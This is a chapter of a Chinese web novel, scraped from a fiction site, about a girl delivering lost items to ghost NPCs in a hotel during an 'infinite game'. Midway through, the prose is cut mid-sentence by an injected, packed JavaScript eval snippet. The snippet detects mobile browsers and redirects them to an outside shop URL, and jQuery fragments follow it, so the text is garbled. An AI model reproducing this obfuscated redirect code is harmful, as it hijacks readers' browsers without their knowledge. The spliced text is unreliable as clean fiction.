文趣网 > 其他小说 > 这无限游戏谁给我报的名 > 22. 我在马路边捡到一分钱(8)^^……
    梁阿汀学着司季的手势,也用左手在右手掌心里上上下下地捏,却丝毫没感觉到疼。

    司季垂眸看着梁阿汀的手。

    少女的手又瘦又小,小到司季感觉自己的手能把她的完全包起来。

    此刻这双手的颜色白得近乎透明,手心处因为用力揉捏微微泛了红。

    “位置不对。”司季淡淡开口,“左手再往下一点。”

    梁阿汀的左手依言下移,这回一用力,一股不一样的酸痛顿时从掌心顺着手掌扩散开来,与之相对的,是脑侧的抽痛在一点点减缓。

    她眼睛一亮,居然真的有效。

    她决定接下来的一个小时都保持着左手捏右手的姿势不变了。

    等梁阿汀的头痛缓解到了一个可以忍受的持续性疼痛时,她看着直挺挺站在旁边一动不动的司季,越看越觉得自己可能上辈子做了什么惊天动地的大好事,不然怎么能在新手副本里捞着这样的队友。

    【叮咚。】

    这声音一出来,梁阿汀手一失控,差点把掌心软骨捏碎。

    【各位玩家请注意,由于五号玩家任务失败,该玩家所负责失物将按序顺延至下一位玩家,请剩余玩家合理分配时间,确保所有失物均按时送达。】

    系统像是替他们着急,把这条通知连续播报了两遍,也在梁阿汀心口处扎了两刀。

    梁阿汀重重地闭了眼。

    手心里传来沉甸的触感,梁阿汀低头一看,脑袋瓜生疼。

    她把被她放进口袋里的游戏纪念币拿出来,和刚刚出现在她手里的印章和笔放在一起。

    梁阿汀:“……”她都能直接去摆摊了。

    “不对啊……”刘晶晶担忧地看着梁阿汀,话却是问系统的,“刘秀昌明明都完成第四个任务了,为什么这个印章还会出现?”

    “完成任务的人没有成功出来,任务进度当然要清零。”麻雀淡淡地看了梁阿汀一眼,还是那副冷淡的表情,似是完全不关心她能不能成功完成。

    梁阿汀没有作声,她弯腰把鞋带重新系了一下。

    张海生同情地拍了拍她的肩膀,暖心鼓励道:“挺住啊妹儿,你要是失败了我可就得一送四了。”

    梁阿汀:“……”

    她看了眼倒计时,剩下不到一小时,没时间浪费了。

    梁阿汀把东西分开放在不同的口袋里,深吸一口气。

    目送着五个人走进黑洞洞的酒店,现在轮到了她自己,她控制不住地紧张起来。

    梁阿汀没在酒店外逗留太久,从现在开始的每分每秒都必须用在刀刃上,浪费不得。

    “加油。”清清冷冷的声音响起,听起来像没有感情的棒读,丝毫没有加油应该有的激情与热血。

    梁阿汀扭头看过去,少年站在她旁边,微微低头看着她,眼神平静如水。

    眼神交换了几个来回,梁阿汀撤了视线,坚定道了声好,然后便以最快速度冲进了酒店。

    四号任务满打满算都已经做过两次了,从酒店大厅到B302的路梁阿汀闭着眼睛都能画出来,她一路未停,一口气走到了B区三楼,停在了楼梯口。

    在距她十几米的前面,B302的门口,抱臂靠墙站着一个窈窕的女人。

    女人留着披肩的大波浪卷发,低垂着目光,精致的侧脸在月光下微微发着光,美得不可方物。

    听见了梁阿汀的脚步声,女人转过头,顿时,整张脸都清晰起来。

    那是一张五官精致的脸,浓重的妆容在她的脸上分外和谐,一双又大又亮的狐狸眼直勾勾地盯着梁阿汀看,带着非常强烈的侵略性。

    女人看到梁阿汀先是愣了一下,定定地看了她半晌,然后歪了歪脑袋,似笑非笑:“你是来送印章的?”

    梁阿汀没有急着回答她的问题,她有些在意女人看到她时的反应。

    她很确定,她刚才有一瞬间,在女人的脸上看到了困惑。

    ……为什么要困惑?

    梁阿汀缓步进了走廊,在女人面前停下,开口道:“您是印章的失主吗?”

    出乎意料地,女人摇了摇头:“我不是,瑶瑶今天太累了,已经睡下了。你给我也是一样的。”

    说着她伸出了手。

    梁阿汀没有把印章递给她,她抬眼看着女人,平静地拒绝:“不行,我一定要亲自交到她手里。”

    女人戏谑一笑:“可是她已经睡了,你要怎么交给她?”

    梁阿汀:“我可以把她叫醒。”

    女人:“……”

    女人似是被她噎住了,脸上的笑容也僵硬了不少:“……如果叫不醒呢?”

    梁阿汀不答反问:“你们npc没有硬性KPI么?”

    女人没听懂:“什么?”

    梁阿汀:“你们npc工作时间随意睡觉摸鱼不会被开除?”

    女人这回听懂了,她笑了两声,两只狐狸眼弯成了两道弧:“你这小妹妹还挺有意思。”

    她说着说着,手就伸到梁阿汀头发上了,绕了两圈把一缕发丝缠上了手指,漆黑的头发蜿蜒盘旋在惨白的细长手指上,黑白分明,有一种诡异的美感。

    “你这头发,如果是红色的,就顺眼很多了。”女人绕了几下觉得无趣,又松开了手,任那一缕头发支棱着翘在半空。

    梁阿汀随意拿手捋了一把,看着自己漆黑的发尾:“红色?”

    “像火焰一般的亮红色,”女人轻声道,“这个颜色最适合你。”

    梁阿汀不置可否,她跳过这一话题,回归正题:“可以麻烦您让一下吗,我要找印章的失主。”

    女人挑眉:“你不怕我?”

    梁阿汀反问:“你又不会对我做什么,为什么要怕?”

    女人觉得好笑:“你怎么知道我不会对你做什么?我是鬼,鬼可是能杀人的。”

    梁阿汀平静道:“我一没触犯禁忌,二没消极怠工,三没主动攻击,你凭什么杀我?”

    女人张了张嘴,发现无法反驳,哭笑不得道:“你说话一直都这样吗?”

    梁阿汀没说话,连表情都没变。

    女人无奈地叹了口气,像是遇到了不听话的熊孩子:“我之前说的是真的,你直接给我就行了,我也能把感谢信给你。”

    梁阿汀眼神一闪,知道感谢信的除了玩家就是失主,那这女人……

    但是系统的要求是将失物送到失主手里并获得失主亲手送的感谢信,可没说还能代取代送。

    梁阿汀不再理会女人,闪身错开她,敲响了B302的房门。

    女人没有阻拦,只是站在一边,似笑非笑地看着她。

    门敲响了之后,屋里没有任何反应。梁阿汀抿了抿嘴,又敲了第二次。

    还是一样的结果。

    梁阿汀正要敲第三次,女人突然开口道:“好了瑶瑶,她通过了。”

    几乎是女人话音刚落,B302的门就开了一道缝

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17630808|205890||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    隙,从里面伸出一只白皙的小手,同时,一道细软的声音响起:“谢谢箐姐姐。”

    女人嫣然一笑:“不用谢,我也没出什么力。”

    接着她又扭头对梁阿汀道:“她就是印章的失主。”

    梁阿汀根本没等她官方认证,几乎是门后那只手伸出来的下一秒她就把印章塞到了人家手心里。

    门后的女鬼,也就是“瑶瑶”,将手连带着印章一起缩回屋里。大概过了几秒,她又将印章递了出来。

    梁阿汀没有犹豫,伸手就接,那印章在和她手接触的瞬间便幻化成一封纯白的信。

    她暗暗欣喜,任务完成三分之一了!

    梁阿汀把那封信贴身放在衣服内侧口袋里,然后拿出没有笔帽的笔,确认了五号失主在A413。

    跨度还真不小,她暗暗叹了口气,径直往楼梯口走,看都没看女人一眼,主打的就是着急去赶下一场。

    女人:?

    她一眼没照顾到,梁阿汀都已经走到楼梯口准备下楼了。

    眼瞅着少女的身影即将消失在楼梯口,女人出声叫住了她。

    梁阿汀回过头:“有事吗?”

    女人没有说话,她盯着梁阿汀看了半晌,迈步走了过去,三两下便走到梁阿汀面前,居高临下看着她。

    “你……”

    女人没等梁阿汀把话问完,她伸出一只手指点在梁阿汀的额头上,停留了约莫两到三秒,便撤了手。

    女人的手指温度冰得吓人,梁阿汀被她激起了一身的鸡皮疙瘩。她皱起眉头,张嘴就想问话,却在开口的瞬间停了。

    就在女人的手指撤回去之后,她感到一股与其手指温度截然不同的热流从额头开始,分散开来,流淌经过她的整个大脑,最后汇聚于后脑勺。热流经过之处,那折磨了她一个多小时的疼痛尽数消散。

    梁阿汀瞪大了眼睛,猛地抬眼看她,难以置信道:“你对我做了什么?”

    “啧,话问得这么难听呢,像我把你怎么样了似的。”女人搓了搓手指,漫不经心道,“疼了一个多小时了吧?你这身体情况按理说应该会被拦在外面,怎么还能进来?”

    梁阿汀没有回答她的问题,依旧难以置信:“你是怎么……”

    女人知道她想问什么,她解释道:“暂时麻痹了你大脑里的疼痛神经,你出去后就好了。”

    梁阿汀还站在原地没动。

    两个人眼神交换了数个来回,还是女人先打破沉默:“你怎么还不走?”

    梁阿汀表情复杂:“你为什么要帮我?”

    女人轻笑出声:“如果我说我帮你是想让你留下和我聊聊天呢?”

    梁阿汀沉默了,她在估量女人这话的可信程度,以及接下来她自己的打算。

    女人没什么耐心,看梁阿汀没说话,便当她不愿意。她摆了摆手,无所谓道:“看你顺眼,帮你一把,你快去送笔吧,有缘再会。”

    梁阿汀定定地看了她半晌,最后还是什么也没说,转身快步下了楼。

    一路上除了黑了一点,梁阿汀没遇到什么异常,她平安无事地走到A区,顺着楼梯上了四楼。

    然后一拐弯,就和A413门口靠墙站着的女人对上了眼。

    女人:“嗨,又见面啦。”

    梁阿汀:“……”

    女人:“我们果然很有缘。”

    梁阿汀:“…………”

    敢情有缘再会是这个意思吗!